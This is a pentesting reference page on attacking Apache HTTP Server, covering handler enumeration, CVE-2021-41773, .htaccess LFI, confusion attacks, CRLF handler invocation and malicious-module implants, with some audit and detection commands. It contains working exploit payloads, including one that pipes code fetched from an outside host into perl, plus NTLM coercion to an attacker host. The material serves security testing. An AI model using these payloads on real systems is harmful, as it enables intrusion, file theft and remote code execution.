Apache
Executable PHP extensions
Check which modules and handlers the Apache server has enabled. Run:
grep -R -B1 "httpd-php" /etc/apache2
Also, some places where you can find this configuration is:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
High-value Apache handlers to enumerate
Before going deep into rewrites, quickly check the built-in handlers because they can disclose exactly the Apache-specific pivots you need.
/server-statusand especially/server-status?automay expose current requests, client IPs, vhosts, and worker state. WithExtendedStatus Onyou can often recover internal paths, admin URLs, or tokens embedded in request lines.[5]/server-infoaccepts useful queries such as?config,?list,?server,?providers, or?<module>and can dump parsed configuration:DocumentRoot,ProxyPass,ScriptAlias,SetHandler, auth rules, backend hosts, and loaded modules.[6]/balancer-managercan revealBalancerMemberbackends, routes,stickysessionnames, and worker state. If write access is exposed, you may also be able to disable backends or change weights.
Quick checks:
for u in /server-status /server-status?auto /server-info /server-info?config /server-info?list /balancer-manager; do
echo "### $u"
curl -sk -i "https://target$u" | sed -n '1,40p'
done
If server-info?config is exposed, immediately grep for Apache-specific pivots:
curl -sk https://target/server-info?config | grep -E 'ProxyPass|ProxyPassMatch|SetHandler|AddHandler|AddType|ScriptAlias|ExecCGI|DAV On|AllowOverride'
Remember that server-info doesn’t list .htaccess directives, so missing rules there doesn’t prove a directory is clean.
If you can upload or edit .htaccess, mod_status and mod_info become interesting again when AllowOverride FileInfo lets you use SetHandler. For CGI or WebDAV follow-up, see CGI Pentesting and WebDav.
Malicious Apache modules: trusted-origin proxying and response injection
After gaining root, an attacker can use Apache’s own apxs -i -a -c module.c workflow to compile a DSO, copy it into the module directory and add its LoadModule entry. A module registered in the name-translation phase can inspect every request and turn only selected URI prefixes into proxy: requests for an attacker-controlled upstream. The browser still addresses the compromised origin, while forwarding the original Host header makes the upstream request look consistent with that origin.[12][13]
A second implant pattern combines request hooks with an output filter: match on URI, referrer, User-Agent, arbitrary headers or client IP; retrieve remote content; then modify Apache bucket brigades before the response is sent. This supports crawler-only SEO content or HTML insertion near a marker such as <body>. The filter can also delete the legitimate Content-Security-Policy header and install a permissive replacement. This is server-side policy removal, not a browser CSP parsing bypass: the browser never receives the site’s original policy.[12][14]
A practical deployment may enable legitimate dependencies such as proxy, headers and rewrite, delete source/build files, and copy timestamps from normal modules to both the malicious .so and its load configuration. Therefore, filenames and modification times alone are weak trust signals.[12]
Module and artifact audit
Dump the runtime module set first: httpd -M (or the distribution’s apachectl -M) includes both statically and dynamically loaded modules. Then correlate each LoadModule entry with its binary, package ownership, hash and filesystem metadata.[12][15]
apachectl -M 2>/dev/null || apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null
grep -RInE '^[[:space:]]*LoadModule' /etc/apache2 /etc/httpd /usr/local/apache2/conf 2>/dev/null
find -L /usr/lib/apache2/modules /usr/lib64/httpd/modules /etc/httpd/modules /usr/local/apache2/modules -type f -name '*.so' -print0 2>/dev/null |
while IFS= read -r -d '' so; do
stat -c '%n | mode=%a uid=%u gid=%g | mtime=%y | ctime=%z' "$so"
sha256sum "$so"
dpkg-query -S "$so" 2>/dev/null || rpm -qf "$so" 2>/dev/null || echo "UNOWNED: $so"
done
Treat an old mtime paired with a much newer ctime, an unowned DSO, a package verification failure, or a new load file as a pivot—not standalone proof. For suspicious modules, imports/strings can expose HTTP clients, hardcoded upstreams, encrypted rule blobs and response-injection placeholders.[12]
readelf -d /path/to/module.so | grep -E 'NEEDED|curl|ssl|crypto'
strings -a /path/to/module.so | grep -Ei 'https?://|libcurl|RC4|proxy:|content-security-policy|\{host\}|\{url\}|<body'
dpkg -V apache2 apache2-bin 2>/dev/null || rpm -V httpd 2>/dev/null
grep -RInE '/wps|/bmw|/card|/jogos|/nova' /var/log/apache2 /var/log/httpd 2>/dev/null
Detect conditional cloaking
Fetch the same URL with different crawler/browser identities, referrers and—where possible—source networks; compare status, headers, body length and hashes. Differences in CSP, injected markup or upstream-themed content that cannot be explained by normal personalization are high-signal findings.[12]
url='https://target/suspected-path'
curl -skD browser.h -o browser.b -A 'Mozilla/5.0' -e 'https://target/' "$url"
curl -skD crawler.h -o crawler.b -A 'Googlebot/2.1 (+http://www.google.com/bot.html)' "$url"
sha256sum browser.b crawler.b
wc -c browser.b crawler.b
diff -u browser.h crawler.h
diff -u browser.b crawler.b
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI via .htaccess ErrorDocument file provider (ap_expr)
If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument.[2][3][4]
- Requirements:
- Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4).
- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
- The Apache worker user must have read permissions on the target file.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Notes and tips:
- Only absolute paths work. The content is returned as the response body for the 404 handler.
- Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups.
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
Confusion Attack
Orange introduced and documented these attack classes in this research post; the following is a summary. Apache modules process and mutate the same request record in stages. Semantic disagreement between modules can cause an early module to place unexpected data in a field that a later module interprets as a path, handler, or URL.[1]
Filename Confusion
Truncation
The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isn’t totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
- Path Truncation
It’s possible to abuse mod_rewrite like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Mislead RewriteFlag Assignment
In the following rewrite rule, as long as the URL ends in .php it’s going to be treated and executed as php. Therefore, it’s possible send a URL that ends in .php after the ? char while loading in the path a different type of file (like an image) with malicious php code inside of it:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
It’s possible to access files the user shouldn’t be able to access even if the access should be denied with configurations like:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
This is because by default PHP-FPM will receive URLs ending in .php, like http://server/admin.php%3Fooo.php and because PHP-FPM will remove anything after the character ?, the previous URL will allow to load /admin.php even if the previous rule prohibited it.
DocumentRoot Confusion
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
The preceding rewrite can make Apache test the path relative to both the DocumentRoot and the filesystem root. For example, a request to https://server/abouth.html may check /var/www/html/about.html and /about.html, creating a filesystem-access primitive when other authorization conditions also permit it.
Server-Side Source Code Disclosure
- Disclose CGI Source Code
Just adding a %3F at the end is enough to leak the source code of a cgi module:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Disclose PHP Source Code
If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Local Gadgets Manipulation
The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s configuration template:
<Directory />
AllowOverride None
Require all denied
</Directory>
However, Debian/Ubuntu operating systems by default allow /usr/share:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Therefore, it would be possible to abuse files located inside /usr/share in these distributions.
Local Gadget to Information Disclosure
- Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, which can leak sensitive environment variables.
- Servers with Nginx or Jetty might expose sensitive web application information (e.g., web.xml) through their default web roots placed under /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Local Gadget to XSS
- On Ubuntu Desktop with LibreOffice installed, exploiting the help files’ language switch feature can lead to Cross-Site Scripting (XSS). Manipulating the URL at /usr/share/libreoffice/help/help.html can redirect to malicious pages or older versions through unsafe RewriteRule.
Local Gadget to LFI
- If PHP or certain front-end packages like JpGraph or jQuery-jFeed are installed, their files can be exploited to read sensitive files like /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Local Gadget to SSRF
- Utilizing MagpieRSS’s magpie_debug.php at /usr/share/php/magpierss/scripts/magpie_debug.php, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
Local Gadget to RCE
- Outdated local applications such as PHPUnit or phpLiteAdmin can provide remote code execution (RCE) gadgets when exposed through a file-read or handler-confusion primitive.
Jailbreak from Local Gadgets
It’s also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
- Cacti Log:
/usr/share/cacti/site/->/var/log/cacti/ - Solr Data:
/usr/share/solr/data/->/var/lib/solr/data - Solr Config:
/usr/share/solr/conf/->/etc/solr/conf/ - MediaWiki Config:
/usr/share/mediawiki/config/->/var/lib/mediawiki/config/ - SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/->/etc/simplesamlphp/
Moreover, abusing symlinks it was possible to obtain RCE in Redmine.
Handler Confusion
This attack exploits the overlap in functionality between the AddHandler and AddType directives, which both can be used to enable PHP processing. Originally, these directives affected different fields (r->handler and r->content_type respectively) in the server’s internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting r->content_type into r->handler if the former is set and the latter is not.
Moreover, in the Apache HTTP Server (server/config.c#L420), if r->handler is empty before executing ap_run_handler(), the server uses r->content_type as the handler, effectively making AddType and AddHandler identical in effect.
Overwrite Handler to Disclose PHP Source Code
This talk presented a vulnerability in which an incorrect client Content-Length could make Apache return PHP source code. Error handling between ModSecurity and the Apache Portable Runtime (APR) produced a double response that overwrote r->content_type with text/html.[9]
Because ModSecurity did not handle the return values correctly, Apache returned the PHP source instead of passing it to the PHP handler.[9]
[!NOTE] The original research initially marked this issue as undisclosed. Consult Apache’s current security advisories before testing version-specific behavior.
Invoke Arbitrary Handlers
If an attacker controls the Content-Type header in a server response, they may be able to invoke arbitrary module handlers. Although most request processing has finished by then, a local redirect can restart processing: when a CGI response uses a local-path Location value, Apache internally reprocesses the specified path.
RFC 3875, section 6.2.2 defines CGI local-redirect response behavior:[11]
The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
This attack therefore requires one of the following vulnerabilities:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
Arbitrary Handler to Information Disclosure
For example /server-status should only be accessible locally:
<Location /server-status>
SetHandler server-status
Require local
</Location>
It may be possible to reach it by setting Content-Type to server-status and returning a Location header that begins with /.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Arbitrary Handler to Full SSRF
Redirecting to mod_proxy to access any protocol on any URL:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
However, the X-Forwarded-For header is added preventing access to cloud metadata endpoints.
Arbitrary Handler to Access Local Unix Domain Socket
Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in /tmp/:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
The official PHP Docker image includes PEAR (Pearcmd.php), a command-line PHP package management tool, which can be abused to obtain RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.[10]
Recent Apache notes worth testing
Reverse proxy request splitting via RewriteRule [P] / ProxyPassMatch
Apache 2.4.56 fixed a very useful reverse-proxy pattern: a broad RewriteRule or ProxyPassMatch captured attacker-controlled bytes and re-inserted them into the proxied request-target. In practice, any config that reflects $1, $2, etc. into a backend URL is worth fuzzing for request splitting / smuggling, ACL bypass, unintended backend paths, and cache poisoning.[7]
Quick audit:
grep -RInE 'RewriteRule.*\[.*P.*\]|ProxyPassMatch|SetHandler\s+"proxy:|SetHandler\s+proxy:' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
Fuzz attacker-controlled captures with:
%0d%0a- encoded
?,#, or; - duplicated slashes and dot segments
- path or query fragments that can change the upstream route
If you find one of these patterns, continue in HTTP Request Smuggling.
Hunt for UnsafeAllow3F and UnsafePrefixStat
Apache 2.4.60 introduced two opt-in mod_rewrite flags that effectively re-enable dangerous legacy behavior after the 2024 hardening work. From an attacker perspective, if you find them in a target config, the older confusion-style primitives become interesting again:[7][8]
UnsafeAllow3F: Allows rewrites to continue when the request contains an encoded?(%3f) and the rewritten substitution also contains a literal?. This is exactly the pattern behind?-based truncation / handler confusion tricks.UnsafePrefixStat: Allows server-scoped substitutions that start with a backreference or variable and resolve to a filesystem path without forcing a safe DocumentRoot prefix first. This is the dangerous pattern behind path escapes and unexpected local file resolution.
Quick audit:
grep -RInE 'UnsafeAllow3F|UnsafePrefixStat|RewriteRule' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
If those flags are present, re-test:
%3fin attacker-controlled captures that later influenceRewriteRulesubstitutions or handler selection.- Server/vhost scoped rewrites where the first path segment comes from
$1,%{ENV:*},%{HTTP:*}, or similar attacker-influenced variables.
Windows UNC / NTLM coercion
On Windows deployments, recent Apache research showed that unsafe path handling can be turned into outbound SMB authentication to an attacker-controlled host. This matters whenever untrusted input reaches mod_rewrite, ap_expr, or type-map resolution.[7]
Interesting conditions:
AllowEncodedSlashes On- On Windows, the combination
AllowEncodedSlashes On+MergeSlashes Offis especially interesting on 2.4.65 and earlier - Debian/Ubuntu style
AddHandler type-map varcan make uploaded.varfiles interesting on Windows too
Basic probe:
curl http://server/%5C%5Cattacker-server/path/to
If the request is accepted and the server is Windows-based, Apache may attempt to resolve a UNC path and coerce NTLM authentication to attacker-server. In real intranet environments, treat this as more than “just SSRF”: the leaked authentication can often be chained into NTLM relay.
If file upload is available and type-map support is enabled, a malicious .var file whose URI points to a UNC path can trigger the same class of outbound authentication.
Request-controlled Content-Type + mod_headers is a handler/proxy audit target
Apache 2.4.64 fixed a niche but relevant configuration class: if mod_proxy is loaded and mod_headers copies attacker-controlled data into the Content-Type request or response header, Apache can be tricked into making outbound proxy requests to attacker-chosen URLs. This fits the same handler-confusion theme as the section above.[7]
Quick audit:
grep -RInE '(RequestHeader|Header).*(Content-Type|Content-type)' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
If the Content-Type value is influenced by request data, test proxy:http://..., proxy:unix:/...|fcgi://..., and local handler names exactly like you would in a CRLF / header-injection chain.
2.4.64-only RewriteCond expr bug
If fingerprinting shows exactly Apache 2.4.64, treat every RewriteCond expr-based security control as suspect: all RewriteCond expr ... tests evaluate to true. Re-test IP/header/path gates, negative conditions, canonicalization rules, and “only proxy if …” logic.[7]
Quick audit:
grep -RIn 'RewriteCond expr' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
AddType-based handler mappings are still a high-value audit target
The Handler Confusion section above is not only theoretical. Apache 2.4.60 and 2.4.61 had regressions where legacy content-type based handler mappings such as AddType application/x-httpd-php .php could disclose source code when files were requested indirectly instead of directly. Apache 2.4.62 fixed the regression, but this remains a good pentest check because many environments still rely on legacy AddType mappings.[7]
Quick audit:
grep -RInE 'AddType\s+application/x-httpd-php|AddType\s+.*x-httpd' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
If you find AddType instead of SetHandler / AddHandler, compare direct requests with any indirect request path that reaches the same script through an internal rewrite, local redirect, or ErrorDocument chain. Look for cases where PHP is suddenly served as text/plain / text/html instead of being executed.
References
- [1] Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
- [2] Apache 2.4 Custom Error Responses (ErrorDocument)
- [3] Apache 2.4 Expressions and functions (file:)
- [4] HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
- [5] Apache Module mod_status (
server-status) - [6] Apache Module mod_info (
server-info) - [7] Apache HTTP Server 2.4 vulnerabilities list (official changelog/advisories)
- [8] Apache RewriteRule Flags (
UnsafeAllow3F,UnsafePrefixStat) - [9] Apache 0day bug, which still nobody knows of, and which was fixed accidentally (Max Dmitriev, ZeroNights 2021)
- [10] Docker PHP LFI Summary (Phith0n)
- [11] RFC 3875 section 6.2.2 – Local Redirect Response
- [12] Gaming the System: How a Chinese-Speaking Actor Turned Brazilian Government Sites into an SEO Weapon
- [13] Apache
apxs- APache eXtenSion tool - [14] Apache guide to writing output filters
- [15] Apache
httpdcommand-line options